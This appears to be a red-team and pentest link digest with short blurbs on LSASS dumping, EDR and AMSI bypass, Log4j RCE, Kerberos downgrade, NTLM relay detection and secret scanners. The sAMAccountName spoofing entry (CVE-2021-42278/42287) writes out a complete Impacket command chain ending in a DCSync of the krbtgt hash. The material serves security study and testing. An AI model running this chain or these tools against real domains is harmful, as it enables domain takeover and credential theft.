Abusing Leaked Handles to Dump LSASS Memory

# https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-2.html

# https://github.com/antonioCoco/MalSeclogon

#seclogon #lsass #dump #redteam

Extracting passwords from hiberfil.sys

When in password hunting mode and having access to the filesystem of the target, most people would reach out to SAM and/or extracting cached credentials. People often overlooked is hiberfil.sys and/or virtual machine snapshots or memory dumps, as they usually contain passwords in plain text.

https://diverto.github.io/2019/11/05/Extracting-Passwords-from-hiberfil-and-memdumps

#hiberfil #dump #password

EDRSandBlast

EDRSandBlast is a tool written in C that weaponize a vulnerable signed driver to bypass EDR detections (Kernel callbacks and ETW TI provider) and LSASS protections. Multiple userland unhooking techniques are also implemented to evade userland monitoring.

https://github.com/wavestone-cdt/EDRSandblast

#lsass #dump #etw #redteam

Downgrading Kerberos Encryption & Why It Doesn’t Work In Server 2019

How we make Kerberos tickets use weaker encryption, the "TGT delegation trick", and why none of it works if the domain controllers are Windows Server 2019.

https://vbscrub.com/2021/12/04/downgrading-kerberos-encryption-amp-why-it-doesnt-work-in-server-2019/

#kerberos #windows2019 #pentest

MAL-CL — Malicious Command-Line

MAL-CL aims to collect and document real world and most common "malicious" command-line executions of different tools and utilities while providing actionable detections and resources for the blue team.

https://github.com/3CORESec/MAL-CL

#windows #cli #detection #blueteam #redteam

Process Ghosting — EDR Evasion

The technique Process Herpaderping attempts to perform evasion by performing modification of the file (image tampering) which creates the process on a windows system. Deleting also the file during the creation of the process can have the same results. Even though some endpoint products have mature over the years and are able to detect complex threats organizations should constantly test the capabilities of their solution and should find alternate methods of detection even for the same technique.

https://pentestlaboratories.com/2021/12/08/process-ghosting/

#av #evasion #process #redteam #blueteam

ipsourcebypass

This Python script can be used to bypass IP source restrictions using HTTP headers.

https://github.com/p0dalirius/ipsourcebypass

#ip #header #bypass #bugbounty

Detecting NTLM Relay Attacks

https://posts.bluraven.io/detecting-ntlm-relay-attacks-d92e99e68fb9

#detection #ntlm #relay #blueteam

Example Reports

If you're looking for examples of pentest reports, globalcptc has released redacted versions of the teams that made it to finals for the last 2 years (25 reports)

https://github.com/nationalcptc/report_examples

Log4j RCE — CVE-2021-44228

The vulnerability allows for unauthenticated remote code execution. Log4j 2 is an open source Java logging library developed by the Apache Foundation. Log4j 2 is widely used in many applications and is present, as a dependency, in many services. These include enterprise applications as well as numerous cloud services.

# https://www.lunasec.io/docs/blog/log4j-zero-day/
# https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6
# https://github.com/whwlsfb/Log4j2Scan
# https://github.com/Cybereason/Logout4Shell

#apache #log4j #cve #rce

ldapconsole

It's a script allowing to perfom custom LDAP queries to a Windows domain and select specific attributes.

Features

— Authenticate with password
— Authenticate with LM:NT hashes
— Authenticate with kerberos ticket

https://github.com/p0dalirius/ldapconsole

#ldap #query #tools

Domain Admin in only 5 minutes via Name Impersonation (CVE-2021-42278)

Before patch, there was a weird behavior on the KDC. When requesting a service ticket, if the KDC wasn't able to find the user behind the TGT, it would make another lookup, but this time with an "$" at the end of the name
This allows for a new kind of spoofing attack where attackers that have enough control over a machine account can spoof a domain controller.

Example:

0. Create a сomputer account
addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'

1. Clear its SPNs
addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController

2. Rename the computer (computer -> DC)
renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password'

3. Obtain a TGT
getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword'

4. Reset the computer name
renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password'

5. Bbtain a service ticket with S4U2self by presenting the previous TGT
KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController'

6. DCSync by presenting the service ticket
KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'


# https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
# https://exploit.ph/more-samaccountname-impersonation.html
# https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing
# https://www.geekby.site/2021/12/samaccountname-spoofing/
# https://gist.github.com/snovvcrash/3bf1a771ea6b376d374facffa9e43383

#ad #pac #s4u2self #windows #redteam

FUD AMSI Bypass

Just released a new obfuscated AMSI bypass script based on 'amsiInitFailed'.

https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_12.ps1

#amsi #bypass #windows #pentest

Automated Exploitation of the CVE-2021-42287/CVE-2021-42278 (Windows)

Binary:
https://github.com/cube0x0/noPac

PowerShell:
https://gist.github.com/S3cur3Th1sSh1t/0ed2fb0b5ae485b68cbc50e89581baa6

#ad #pac #s4u2self #windows #redteam

ADenum

ADEnum is a pentesting tool that allows to find misconfiguration through the protocol LDAP and exploit some of those weaknesses with Kerberos.

https://github.com/SecuProject/ADenum

#ad #ldap #kerberos #enumeration #tools

Exploiting CVE-2021-42287/CVE-2021-42278 (Linux)

https://github.com/WazeHell/sam-the-admin

#ad #pac #s4u2self #windows #redteam

Find-Hardcoded

You can find hardcoded API key, secret, token, etc...

https://github.com/arijitdirghanji/Find-Hardcoded

#android #apk #find #secrets #tools

GitLab CI jobs unmasked passwords scanner

https://github.com/Whitespots-OU/gitlab-ci-secrets

#tools #secrets #devsecops

Microsoft Teams Abuse

https://mrd0x.com/microsoft-teams-abuse/

#teams #abuse #redteam